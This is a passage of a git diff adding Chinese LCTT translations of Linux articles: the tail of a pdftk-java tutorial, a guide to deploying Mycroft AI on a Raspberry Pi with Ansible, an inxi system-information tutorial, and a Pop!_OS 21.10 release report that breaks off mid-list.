动作,它的原理与删除页面相似。你可以通过将你想要的页面发送到一个新文件来分割一个 PDF: + +``` +$ pdftk book.pdf \ + cat 1-15 \ + output part-1.pdf +$ pdftk book.pdf \ + cat 16-42 \ + output part-2.pdf +``` + +如果你需要将一个 PDF 分割成单页文件,有一个特殊的动作,叫做 `burst`: + +``` +$ pdftk book.pdf burst +$ ls +book.pdf pg_0001.pdf pg_0002.pdf +pg_0003.pdf pg_0004.pdf pg_0005.pdf +[...] + +``` + +### 填写表格 + +很少有人能否认多年来 PDF 格式变得越来越臃肿,而你有时在 PDF 文件中发现的一个功能是可填写的表格。你会在美国税务文件、RPG 角色表、线上学校作业本和其他旨在互动的 PDF 文件中看到这种情况。虽然大多数现代的 PDF 浏览器,比如 GNOME 的 Evince 和 KDE 的 Okular,都可以填写 PDF 表格,但你也可以在 `pdftk-java` 的帮助下填写 PDF 表格。 + +首先,你必须使用 `generate_fdf` 动作提取表单数据。这将提取表单元素的 ID,并将它们放入一个文本文件。 + +``` +$ pdftk character-sheet.pdf \ + generate_fdf \ + output chsheet-form.txt + +``` + +你的目标文件(在这个例子中是 `chsheet-form.txt`)包含 PDF 中的表格数据,但只是文本部分。你可以在任何标准的文本编辑器中编辑它,如 [Atom][9] 或 [Gedit][10]。 + +在对生成 PDF 的组织的工作流程的有时令人钦佩和有时尴尬的一瞥中,你会发现一些表格有明确的标签,而其他表格有默认的名字,如 “Checkbox_001” 和 “Textfield-021”,所以你可能要把你的文本文件和你的 PDF 对照一下,但如果你要写一个脚本来自动填写表格,这可能是值得的。每个标签都被标记为 `/T` 项,在接下来的一行中,有空间(标记为 `/V`)提供给文本输入。下面是一个片段,它的标签有上下文,并填入了一些数据: + +``` +/T (CharacterName 2) +/V (Abaddon) +>> +<< +/T (SlotsTotal 24) +/V () +>> +<< +/T (Hair) +/V (Brown) +>> +<< +/T (AC) +/V (15) +>> +<< +/T (Background) +/V () +>> +<< +/T (DEXmod ) +/V () +``` + +当你输入了表单数据,你就可以用 `fill_form` 动作将你的文本输入与 PDF 结构结合起来: + +``` +$ pdftk character-sheet.pdf \ + fill_form chsheet-form.txt \ + output completed.pdf +``` + +下面是一个结果示例。 + +![A form filled by pdftk-java][11] + +### PDF 修改变得简单 + +当你处理大量的 PDF 文件或通过 shell 脚本处理 PDF 文件时,像 `pdftk-java` 这样的工具是非常有价值的,因为它使你不必手动做所有的事情。当我从 [Docbook][12] 的输出建立一个 PDF 时,它是一个 Makefile,调用 `pdftk-java` 完成任何数量的任务,所以我没有机会忘记某个步骤或打错命令,也没有必要把时间花在这上面。在你自己的工作流程中,还有很多其他的原因你可能会使用 `pdftk-java`,它还可以做很多其他的事情,包括 `shuffle`、`rotate`、`dump_data`、`update_info` 和 `attach_files` 等动作。如果你发现自己经常与 PDF 文件打交道,可以试试 `pdftk-java`。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/edit-pdf-linux-pdftk + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_hands_team_collaboration.png?itok=u82QepPk (a checklist for a team) +[2]: https://gitlab.com/pdftk-java/pdftk +[3]: https://adoptopenjdk.net/releases.html +[4]: https://developers.redhat.com/products/openjdk/download +[5]: https://gitlab.com/pdftk-java/pdftk/-/jobs/1527259628/artifacts/raw/build/libs/pdftk-all.jar +[6]: https://opensource.com/article/17/6/set-path-linux +[7]: https://opensource.com/article/21/8/linux-terminal +[8]: https://opensource.com/article/19/2/getting-started-cat-command +[9]: https://opensource.com/article/20/12/atom +[10]: https://opensource.com/article/20/12/gedit +[11]: https://opensource.com/sites/default/files/pdftk-form-fill.jpg (A form filled by pdftk-java) +[12]: https://opensource.com/article/17/9/docbook diff --git a/published/202112/20211215 Deploy Mycroft AI voice assistant on Raspberry Pi using Ansible.md b/published/202112/20211215 Deploy Mycroft AI voice assistant on Raspberry Pi using Ansible.md new file mode 100644 index 0000000000..e2d8690eed --- /dev/null +++ b/published/202112/20211215 Deploy Mycroft AI voice assistant on Raspberry Pi using Ansible.md @@ -0,0 +1,223 @@ +[#]: subject: "Deploy Mycroft AI voice assistant on Raspberry Pi using Ansible" +[#]: via: "https://opensource.com/article/21/12/mycroft-raspberry-pi-ansible" +[#]: author: "Gaëtan Trellu https://opensource.com/users/goldyfruit" +[#]: collector: "lujun9972" +[#]: translator: "jrglinux" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14102-1.html" + +使用 Ansible 在树莓派上部署 Mycroft AI 语音助手 +====== + +> 使用本文中的这些 Ansible 剧本可以帮你获得更优的 Mycroft AI 体验。 + +![](https://img.linux.net.cn/data/attachment/album/202112/21/135748sdbpuhu6p3duus32.jpg) + +Mycroft AI 是一款虚拟助手应用程序,可以响应语音请求并完成相应的任务,比如在互联网上搜索你需要的某些信息,或者下载你喜欢的博客等等。这是一款优秀的开源软件,不同于那些收集个人数据业务的公司的同款软件,Mycroft AI 注重于保护隐私以及提供平台灵活性。 + +Mycroft AI 使用 python 开发,可以安装于不同的硬件平台上。家喻户晓的树莓派便是一个非常热门的运行语音助手的硬件方案(不过不是唯一的方案)。方便的是,Mycroft 为树莓派提供了 [Picroft][2] 镜像,虽然目前 Picroft 还有一些限制,比如不支持 64 位系统,不过不能阻止它成为一种优秀的解决方案。 + +### 树莓派 4,我选择的目标平台 + +树莓派在 Mycroft 社区中非常受欢迎,因为其性价比高,在教育行业中有着巨大的优势,并且由于 Mycroft 提供的便捷功能以及树莓派本身易于访问的输入/输出(GPIO)引脚等,为树莓派提供了有趣的扩展可能(比如,提供 [唤醒词 LED GPIO][3] 能力)。 + +树莓派 4B 具有足够的 CPU 算力以及内存来平稳运行 Mycroft。我使用的是 8G 内存的树莓派4B,运行 Raspberry Pi OS Bullseye 64-bit 系统,你可以从 [RaspberryPi.org][4] 网站下载该系统镜像文件。 + +### 自动化这件事 + +构建你自己的 Mycroft AI 系统,必须要注意一些细节问题。根据我(一年以来)的初步经验,以下罗列了一些重要的技术细节点: + +* 音频输出(扬声器配置) +* 音频输入(麦克风配置) +* 麦克风质量(以购买的实际硬件为准) +* 唤醒词响应(比如打招呼 “嘿,Mycroft”) +* 响应延迟(比如提问 “天气怎么样”) + +这些并不是 Mycroft AI 的问题(LCTT 译注:难道软件平台就没有处理延时问题?),它们只能是你在选择硬件和配置操作时必须牢记关心的事情。树莓派本身能够运行 Mycroft AI,但有一些配置需要额外的注意下: + +* CPU 调度器 +* SD 卡性能 +* PulseAudio 配置 +* 网络延迟 + +我做了大量的研究和实践来解决上面列出这些令人头疼的注意点,最终我实现了我的“终极”目标 —— 最流畅的体验! + +### Ansible 雪中送炭 + +我已经摸索出了最流畅的体验配置,但是如何确保在任何树莓派 4 板子上都能不遗漏每一个设置细节,然后达到重新部署这种流畅性体验的目标呢? + +[Ansible][5] 能帮助你实现。Ansible 在设计上是幂等设计,这意味着它仅在需要时响应更改的请求。如果一切配置正确,Ansible 不会改变任何事情。这便是幂等设计的优美之处。 + +为了达到这一目的,我使用了两种 Ansible 场景角色工具: + +* 一个用于配置和调整树莓派 +* 一个用于安装和配置 Mycroft AI + +### Ansible prepi 角色 + +[Ansible prepi role][6] 应用了一些配置,以便让树莓派 4B 发挥更佳的性能以及为安装 Mycroft 做前提准备。 + +* 更新 Raspberry Pi OS 至最新版本 +* 添加 Debian backports 仓库 +* 使用 next 分支更新固件,该分支支持 5.15 版本内核以及边缘固件 +* 使用测试版本更新 EEPROM,该版本支持边缘功能 +* 设置 `initial_turbo` 用来加速启动过程 +* 将树莓派超频至 2GHz +* 在 RAMDisck 上挂载 `/tmp` +* 优化 `/` 分区挂载选项,提升 SD 卡读/写性能 +* 管理 I2C、SPI、UART 接口 +* 设置 CPU 控制器至避免在空间内核函数之间发生上下文切换的模式,以便提升性能 +* 安装和配置 PulseAduio(非系统范围) +* 新固件或者 EEPROM 安装后重启树莓派 + +### Ansible mycroft 角色 + +[Ansible mycroft role][7] 基于脚本 `dev_setup.sh` 从 Github 仓库获取并安装和配置 Mycroft AI,该脚本是 Mycroft 核心团队提供。 + +* 需要准备 Python3 环境 +* 系统集成环境 +* 额外的安装技能 +* 安装 Boto3、py_mplayer、pyopenssl 库 +* 支持 IPC 的 RAMDisck +* 支持文件配置 +* PulseAudio 优化 +* 安全的 Mycroft 消息总线 websocket + +我利用 [Ansible 剧本][8] 来协调上面两个角色的使用。 + +### 个人配置需求 + +下面列举了一些个人配置的需求: + +* 能上网的树莓派 4B 板子(或者更新的板子) +* [Raspberry Pi OS 64-bit][9] +* Ansible 2.9(或者更新版本) +* 可正常工作的 SSH + +推荐使用 [Etcher][10] 来烧录 Raspberry Pi OS 镜像至 SD 卡,你也可以使用你选择的镜像烧录工具。 + +我将树莓派超频来提升性能,不过这可能对你的硬件是一种潜在危险。在使用我的 Ansible 剧本配置之前,请先仔细阅读。你需要为你的每个配置选择负责。你将决定使用哪个固件、哪个 EEPROM。超频的话需要记得提供相应的冷却系统。 + +### 执行 Ansible 剧本 + +第一步,使用命令从 Github 获取 Ansible 剧本: + +``` +$ git clone https://github.com/smartgic/ansible-playbooks-mycroft.git +``` + +源码中,`requirements.yml` 文件中提供了该剧本的依赖角色列表,必须从 Ansible Galaxy 中检索这些依赖。 + +``` +$ cd ansible-playbooks-mycroft +$ ansible-galaxy install -r requirements.yml +Starting galaxy role install process +- downloading role 'mycroft', owned by smartgic +- downloading role from https://github.com/smartgic/ansible-role-mycroft/archive/main.tar.gz +- extracting smartgic.mycroft to /home/goldyfruit/.ansible/roles/smartgic.mycroft +- smartgic.mycroft (main) was installed successfully +- downloading role 'prepi', owned by smartgic +- downloading role from https://github.com/smartgic/ansible-role-prepi/archive/main.tar.gz +- extracting smartgic.prepi to /home/goldyfruit/.ansible/roles/smartgic.prepi +- smartgic.prepi (main) was installed successfully +``` + +第二步,编辑仓库中的 Ansible 清单,设置需要管理的主机。 + +``` +[rpi] +rpi4b01 ansible_host=192.168.1.97 ansible_user=pi +``` + +`[rpi]` 代表组,无需更改。该组有一个主机 `rpi4b01`,其 IP 地址为 `192.168.1.97`, 并创建 `pi` 作为 Linux(Raspberry Pi OS)上的默认用户。 + +现在比较棘手的部分到了:你希望每个选项怎么配置?这取决于你自己,下面是我的首选配置,供你参考: + +``` +# file: install-custom.yml +- hosts: rpi + gather_facts: yes + become: yes + + pre_tasks: + - name: Install Python 3.x Ansible requirement + raw: apt-get install -y python3 + changed_when: no + tags: + - always + + vars: + # PREPI + prepi_pi_user: pi + prepi_hostname: mylovelypi + prepi_firmware_update: yes + prepi_overclock: yes + prepi_force_turbo: yes + prepi_cpu_freq: 2000 + prepi_pulseaudio_daemon: yes + + # MYCROFT + mycroft_branch: dev + mycroft_user: "{{ prepi_pi_user }}" + mycroft_skills_update_interval: 2.0 + mycroft_recording_timeout_with_silence: 3.0 + mycroft_enclosure_name: picroft + mycroft_extra_skills: + - https://github.com/smartgic/mycroft-finished-booting-skill.git + + tasks: + - import_role: + name: smartgic.prepi + + - import_role: + name: smartgic.mycroft +``` + +上面的配置内容需要保存在文件里(比如,`install-custom.yml`)。 + +现在关键步骤:运行你新创建的剧本。 + +``` +$ ansible-playbook -i inventory install-custom.yml -k +``` + +`-k` 选项只有在不需要 SSH 密钥的时候才使用。在命令执行期间,树莓派可能会重启若干次。Ansible 剧本会自动处理这个问题,不必担心。 + +Ansible 配置完成后,你可以看到一条祝贺消息,提示你下一步需要做什么。 + +![Congratulations message (Gaëtan Trellu, CC BY-SA 4.0)][11] + +### Ansible 让定制 Mycroft 变得更容易 + +这些 Ansible 剧本是我开始使用 Mycroft AI 后学到的经验教训。它们帮助我在任何一个地方都能构建、重构、定制、拷贝我的安装,并保持一致,这让我很省心! + +读完此文,你有何意见、问题或疑虑?欢迎在 Twitter上 [@goldyfruit][13]上和我交流,或者访问 [Mycroft 频道][14] 搜寻答案。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/mycroft-raspberry-pi-ansible + +作者:[Gaëtan Trellu][a] +选题:[lujun9972][b] +译者:[jrglinux](https://github.com/jrglinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/goldyfruit +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr "Looking at a map" +[2]: https://mycroft-ai.gitbook.io/docs/using-mycroft-ai/get-mycroft/picroft +[3]: https://github.com/smartgic/mycroft-wakeword-led-gpio-skill +[4]: https://downloads.raspberrypi.org/raspios_lite_arm64/images/raspios_lite_arm64-2021-11-08/2021-10-30-raspios-bullseye-arm64-lite.zip +[5]: https://github.com/ansible/ansible +[6]: https://github.com/smartgic/ansible-role-prepi +[7]: https://github.com/smartgic/ansible-role-mycroft +[8]: https://github.com/smartgic/ansible-playbooks-mycroft +[9]: https://downloads.raspberrypi.org/raspios_arm64/images +[10]: https://opensource.com/article/18/7/getting-started-etcherio +[11]: https://opensource.com/sites/default/files/uploads/congratulations-message.png "Congratulations message" +[12]: https://creativecommons.org/licenses/by-sa/4.0/ +[13]: https://twitter.com/goldyfruit +[14]: https://chat.mycroft.ai/community/channels/general diff --git a/published/202112/20211215 Get All Kind of System Information in Linux Terminal With inxi.md b/published/202112/20211215 Get All Kind of System Information in Linux Terminal With inxi.md new file mode 100644 index 0000000000..872d0d4c71 --- /dev/null +++ b/published/202112/20211215 Get All Kind of System Information in Linux Terminal With inxi.md @@ -0,0 +1,253 @@ +[#]: subject: "Get All Kind of System Information in Linux Terminal With inxi" +[#]: via: "https://itsfoss.com/inxi-system-info-linux/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "jrglinux" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14089-1.html" + +在 Linux 终端使用 inxi 命令获取各种系统信息 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/17/134920bzuqfbwbqswcif33.jpg) + +`inix` 是一个用于获取 Linux 系统信息的终端命令。能够获取软件和硬件的详细信息,比如计算机型号、内核版本、发行版号以及桌面环境等信息,甚至可以读取主存模块占用主板的哪块 RAM 卡槽等详细信息。 + +`inxi` 还可以用于监控系统中正在消耗 CPU 或者内存资源的进程。 + +在本文中,我将展示使用 `inxi` 命令获取系统信息的常用操作。 + +首先,我将展示下如何安装 `inxi` 命令。 + +### 在 Linux 上安装 inxi + +`inxi` 是一个非常流行的工具,所以在大多数 Linux 发行版仓库中都可以轻松获取到该工具。不过还没有流行到各大 Linux 发行版默认就安装了该软件,所以需要我们自己安装一下。 + +在 Ubuntu/Debian 发行版系统中,安装命令: + +``` +sudo apt install inxi +``` + +在 Fedora/RHEL8-based 等发行版中,安装命令: + +``` +sudo dnf install -y epel-release +sudo dnf install -y inxi +``` + +在 `Arch Linux` 以及它的派生分支版本中,安装命令: + +``` +sudo pacman -S inxi +``` + +### 使用 inxi 获取系统信息 + +你可以在终端运行 `inxi` 命令来总体浏览下系统信息。 + +``` +inxi +``` + +如下图所示,运行 `inxi` 命令可以简要浏览 CPU、时钟频率(`speed/min/max`)、内核(`Kernel`)、内存(`Mem`)、磁盘存储空间(`Storage`)、运行进程数量(`Procs`)以及 Shell 等信息。 + +![The default output of inxi command][2] + +使用 `-b` 参数可以获取更为详细的系统信息。`-b` 参数会读取更多有关 CPU、驱动器、当前运行进程、主板 UEFI 版本、GPU、显示分辨率以及网络设备等详细信息。 + +``` +inxi -b +``` + +![Detailed hardware and software information about machine as reported by inxi][3] + +类似 `-b` 参数使用方法,`inxi` 还有许多其他的参数可供使用。你可以综合使用这些参数来获取你关心的信息。 + +让我们看几个实例。 + +### 获取音频设备信息 + +使用 `-A` 参数可以获取有关音频(输出)设备信息,包括物理音频(输出)设备、声音服务器以及音频驱动等详细信息。 + +``` +inxi -A +``` + +![Output of inxi command when “-A” flag is used][4] + +### 获取电池信息 + +使用 `-B` 参数,可以获取有关电池的信息(如果安装了电池)。你将读取到例如以 `Wh`(瓦特小时)为单位的当前电池电量和状况。 + +因为我使用的是台式机,所以这里仅仅作为一个示例,让我们看看使用 `inxi -B` 会输出什么。 + +``` +Battery: ID-1: BAT0 charge: 50.0 Wh (100.0%) condition: 50.0/50.0 +``` + +### 获取 CPU 信息 + +`-C` 参数用于获取有关 CPU 的详细信息。比如包括 CPU 缓存大小、频率(单位 `MHz`,如果有多核,会显示每个核心的频率)、核心数、CPU 型号以及 CPU 是 32 位还是 64 位。 + +``` +inxi -C +``` + +![Detailed CPU information displayed by inxi][6] + +注意,如果是在虚拟机中使用 `inix -C`,`inxi` 读取到的 `CPU` 的最大和最小频率可能异常。下面是一个在四核 Debian 11 虚拟机中使用 `-C` 参数的示例输出。 + +![An example output of using the “-C” flag in a Virtual Machine][7] + +### 获取更多的系统信息 + +使用 `-F` 参数可以获取更详细的系统信息(类似 `-b` 参数,但会更为详细)。几乎囊括了所有层次的系统信息。 + +``` +inxi -F +``` + +![][8] + +### 获取图形显示相关信息 + +`-G` 参数可以获取和图形相关的信息。 + +它会显示所有的图形设备(GPU)、正在使用的 GPU 驱动(有助于检查是否使用 Nvidia 驱动还是 nouveau 驱动)、显示输出分辨率和驱动程序版本。 + +``` +inxi -G +``` + +![][9] + +### 获取运行进程信息 + +`-I` 参数(大写字母 `i`)显示正在运行的进程、当前 shell 、内存(内存使用情况)以及 `inxi` 版本号等信息。 + +![inxi get running process info][10] + +### 获取内存信息 + +可能你已经猜到了,`-m` 参数可以获取与内存相关的信息。 + +它读取了如总可用内存、最大内存容量(硬件或 CPU 支持的)、主板物理内存插槽数、是否存在 ECC、插入的内存插槽,以及枚举每个插槽中运行的内存模块的大小和运行速度等信息。 + +``` +inxi -m +``` + +要使用 `-m` 参数获取更详细的信息,例如最大容量、每个插槽的内存模块信息等,需要超级用户权限。 + +``` +sudo inxi -m +``` + +![][11] + +如果只是希望简短的输出内存信息,可以使用 `-memory-short` 参数。 + +使用 `-memroy-short` 参数将会只显示总内存以及当前已使用的内存量。 + +### 查看正在使用的包存储库 + +当使用 `-r` 参数时,会列举当前正在使用的包管理仓库或者更新本地仓库缓存中的所有存储库列表。 + +![List of repositories in use][12] + +### 获取 RAID 设备信息 + +`-R` 参数用于获取所有 RAID 设备相关信息。 + +令人惊喜的是,它甚至显示了有关 ZFS RAID(默认情况下,多数 Linux 系统不包含该文件系统)的信息。它显示了 RAID 设备上文件系统的详细信息、状态(包含离线状态、总大小和可用大小等)。 + +``` +inxi -R +``` + +![][13] + +### 在 Linux 终端中查询天气(对,这是可以的) + +利用 `-W` 参数,你可以查询地球上任何地方的天气情况。 + +`-W` 参数后面,需要携带以下中的任一一个体现位置的信息 + +* 邮政编码 +* 纬度 +* 城市(及州)、国家(不能含有空格,使用 “+” 替换空格) + +``` +inxi -W Baroda,India +``` + +![Use of the “-W” flag with inxi followed by the city,country location descriptor][14] + +### 监控系统资源使用情况 + +`inxi` 除了提供有关已安装的硬件和驱动的信息外,还可以用于资源监控。 + +使用 `-t` 参数可以显示进程信息。你还可以可选项 `-c` (用于 CPU)和 `-m`(用于内存)。这些选项结合使用可以按指定数量列出进程信息。 + +下面是一些使用 `-t` 参数监控资源信息的示例。 + +``` +inxi -t +``` + +命令 `inxi -t` 默认效果等同于 `inxi -t cm5` 的效果。 + +![No difference in output of “inti -t” and “inxi -t cm5”][15] + +``` +inxi -t cm10 +``` + +![][16] + +偶尔需要监控资源使用情况时,该工具挺管用。如果需要更多的资源监控功能,则推荐使用 [专用系统资源监控工具][17]。 + +### 总结 + +对于需要诊断计算机问题以及获取那些并不熟悉的软硬件信息的人来说,`inxi` 工具是十分便利且有用的。它能识别那些消耗 CPU、内存的进程;可以检查是否安装了合适的图形驱动程序、主板 UEFI/BIOS 是否需要更新等等。 + +事实上,在 `inxi` 开源社区论坛上,我们要求那些寻求帮助的成员提供 `inxi` 命令输出内容以便判断他们当前正在使用什么样的系统环境。 + +我知道也有其他的工具可以读取 Linux 上的硬件信息,不过 `inxi` 同时能读取硬件和软件信息,这也是我喜欢它的地方所在。 + +你使用 `inxi` 或者其他工具么?欢迎在评论区留言分享交流。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/inxi-system-info-linux/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[jrglinux](https://github.com/jrglinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://github.com/smxi/inxi +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/01_inxi.webp?resize=800%2C450&ssl=1 +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/02_inxi_flag_b.webp?resize=800%2C450&ssl=1 +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/03_inxi_flag_a.webp?resize=800%2C450&ssl=1 +[5]: https://itsfoss.com/32-bit-64-bit-ubuntu/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/04_inxi_flag_c.webp?resize=800%2C450&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/05_inxi_flag_c_vm.webp?resize=800%2C396&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/06_inxi_flag_f.webp?resize=800%2C450&ssl=1 +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/07_inxi_flag_g.webp?resize=800%2C450&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/inxi-get-running-process-info.png?resize=768%2C272&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/08_inxi_flag_m.webp?resize=800%2C450&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/package-repo-info-with-inxi.png?resize=800%2C339&ssl=1 +[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/09_inxi_flag_r.webp?resize=800%2C450&ssl=1 +[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/12_inxi_flag_w.webp?resize=800%2C450&ssl=1 +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/10_inxi_flag_t.webp?resize=800%2C450&ssl=1 +[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/11_inxi_flag_t_cm10.webp?resize=800%2C450&ssl=1 +[17]: https://itsfoss.com/linux-system-monitoring-tools/ +[18]: https://itsfoss.community/ +[19]: https://itsfoss.com/hardinfo/ diff --git a/published/202112/20211215 Pop-_OS 21.10 Introduces a New Application Library, GNOME 40, and a Refresh Install Option.md b/published/202112/20211215 Pop-_OS 21.10 Introduces a New Application Library, GNOME 40, and a Refresh Install Option.md new file mode 100644 index 0000000000..09761e392d --- /dev/null +++ b/published/202112/20211215 Pop-_OS 21.10 Introduces a New Application Library, GNOME 40, and a Refresh Install Option.md @@ -0,0 +1,152 @@ +[#]: subject: "Pop!_OS 21.10 Introduces a New Application Library, GNOME 40, and a Refresh Install Option" +[#]: via: "https://news.itsfoss.com/pop-os-21-10/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14083-1.html" + + +Pop!_OS 21.10 发布! +===== + +> Pop!_OS 21.10 包含了新的 Linux 内核、新的应用程序库以及 System76 为帮助 Pop!_OS 发展而引入的一些重要变化。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-21-10-feat.png?w=1200&ssl=1) + +Pop!_OS 无疑是 [最好的 Linux 发行版][1] 之一,也是目前面向 Linux 新手(和游戏玩家)推荐的热门选择之一。 + +如果你不喜欢非 LTS 版本,你应该坚持使用 [Pop!_OS 20.04 LTS][2]。但是,如果你想看看最新和最棒的更新,那么,Pop!_OS 21.10 终于就绪,可以下载了! + +别忘了,Pop!_OS 21.10 的发布是为明年 4 月的 Pop!_OS 22.04 LTS 的潜在功能清单打的前站,你可以期待一下。 + +### Pop!_OS 21.10 有什么新功能? + +请注意,即使 Pop!_OS 21.10 将 GNOME 40 作为最重要的变化之一,也应该会有类似于 Pop!_OS 21.04 的 [COSMIC 桌面体验][3]。 + +也就是说,在 Pop!_OS 21.10 中有一些关键的变化,应该会增强你的 Linux 桌面体验,并使你更轻松。 + +#### 新的应用程序库 + +在 Pop!_OS 21.10 中,全屏应用程序菜单已被一个单独的可搜索窗口取代。这应该不那么碍事,而且很方便。 + +![][4] + +这不仅仅是 System76 对 GNOME 40 的独特调整,在功能上它应该比传统的全屏应用菜单提供更多的好处。 + +例如,新的应用程序库应该可以增强多显示器的体验,让你在你关注的屏幕中快速搜索一个应用程序,而不是占用整个屏幕。 + +![video][5] + +它还可以让你快速搜索应用程序(或根据你的搜索查询过滤它们)。不仅仅限于已安装的应用程序,它还会显示可以使用 Pop!_Shop 安装的应用程序。 + +![][6] + +你可以使用工作区右侧的 “应用程序Applications” 按钮访问应用程序库,或执行四指向右滑动,按 `Super+A` 也行。 + +#### System76 用自己的存储库取代 Launchpad + +如果你一直在关注我们,你可能已经知道了 [System76 将 PPA 软件库转移到其系统之中][7]。 + +![][8] + +总的来说,这应该有助于他们控制软件包,并比 Ubuntu/Canonical 的默认仓库更快地推送更新。 + +#### GNOME 更新 + +从 GNOME 3.38.4 跳到 40 应该会引入几个 [GNOME 40 改进][9],至少对核心应用程序是这样。 + +一些值得注意的改进包括设置中的 Wi-Fi 排序,这意味着,可用的网络将按照活动连接、先前连接和信号强度的顺序显示,以按有用顺序呈现可用 Wi-Fi 网络。 + +你还可以注意到在你搜索某些东西后,文件中的自动补全功能。 + +#### 最新的 Linux 内核及 NVIDIA 驱动程序 + +![][10] + +众所周知,Pop!_OS 比许多其他发行版更快地推送最新的 Linux 内核。Pop!_OS 21.04 已经在运行 [Linux 内核 5.15][11],而 Pop!_OS 21.10 继续使用它。 + +在这里,Pop!_OS 21.10 带来了 Linux 内核 5.15.5,并且还打包了最新的可用 NVIDIA 驱动程序,以便与较新的硬件保持最佳的兼容性。 + +#### 全新安装 + +![][12] + +每当 Pop!_OS 从恢复分区安装时,它让你选择“全新安装Refresh Install”。 + +通过这种方式,你可以重新安装 Pop!_OS,而不会丢失主目录中的文件。如果有什么东西不能工作,而你又不能排除故障,重新安装应该会使事情恢复到默认状态,这时它就会派上用场。 + +#### 对 Pop!_OS 升级的改进 + +![如果你没有设置任何东西,为用户显示的一个新的默认图标][13] + +通过 Pop!_OS 21.10,你还会有更好的升级体验。 + +为了方便起见,Pop!_OS 在升级发行版时对其行为做了一些改变。其中一些是: + + * 自动禁用用户添加的 PPA 以避免升级冲突。 + * 现在在升级发行版之前会更新恢复分区,如果使用恢复分区第一次没有成功,之一可以给你一个可以轻松地重新安装发行版的媒介。 + +#### 用于树莓派 4 的技术预览版 + +截至目前,这还是针对树莓派 4 的实验,但你可以下载 ARM 平台的技术预览版。 + +他们计划在未来的 Pop!_OS 版本中引入 Pop!_Pi。 + +### 关于 Pop!_OS 21.10 的想法 + +Pop!_OS 一直在努力使桌面 Linux 的体验尽可能可靠,同时拥有一些最新的软件包。 + +通过 Pop!_OS 21.10,更新的桌面环境、Linux 内核和可用性改进使这次升级变得有用。 + +如果你正在使用一个非 LTS 版本,你肯定应该考虑尽快升级。请注意,在你进行升级之前,你应该备份你的数据。 + +### 下载 Pop!_OS 21.10 + +你可以找到两种用于 Pop!_OS 21.10 的不同 ISO ,一种用于 NVIDIA,另一种用于 Intel/AMD。 + +请前往 [官方下载][14] 页面,下载你需要的 ISO。 + +如果你已经安装了 Pop!_OS 21.04,在他们的官方公告之后,你应该很快收到升级通知,或者前往系统设置并应用升级。 + +如果你使用的是终端,输入以下命令: + +``` +sudo apt update +sudo apt full-upgrade +pop-upgrade release upgrade +``` + +你也可以阅读他们 [官方公告帖子][15] 中提到的细节。 + +你对 Pop!_OS 21.10 有什么看法?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pop-os-21-10/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-linux-distributions/ +[2]: https://itsfoss.com/pop-os-20-04-review/ +[3]: https://news.itsfoss.com/pop-os-21-04-beta-release/ +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/application-library-pop-os.png?w=1400&ssl=1 +[5]: https://youtu.be/A_8YflrS35A +[6]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/application-library-pop-os-1.png?w=1306&ssl=1 +[7]: https://news.itsfoss.com/pop-os-ppa-repo-move/ +[8]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-new-repo.png?w=736&ssl=1 +[9]: 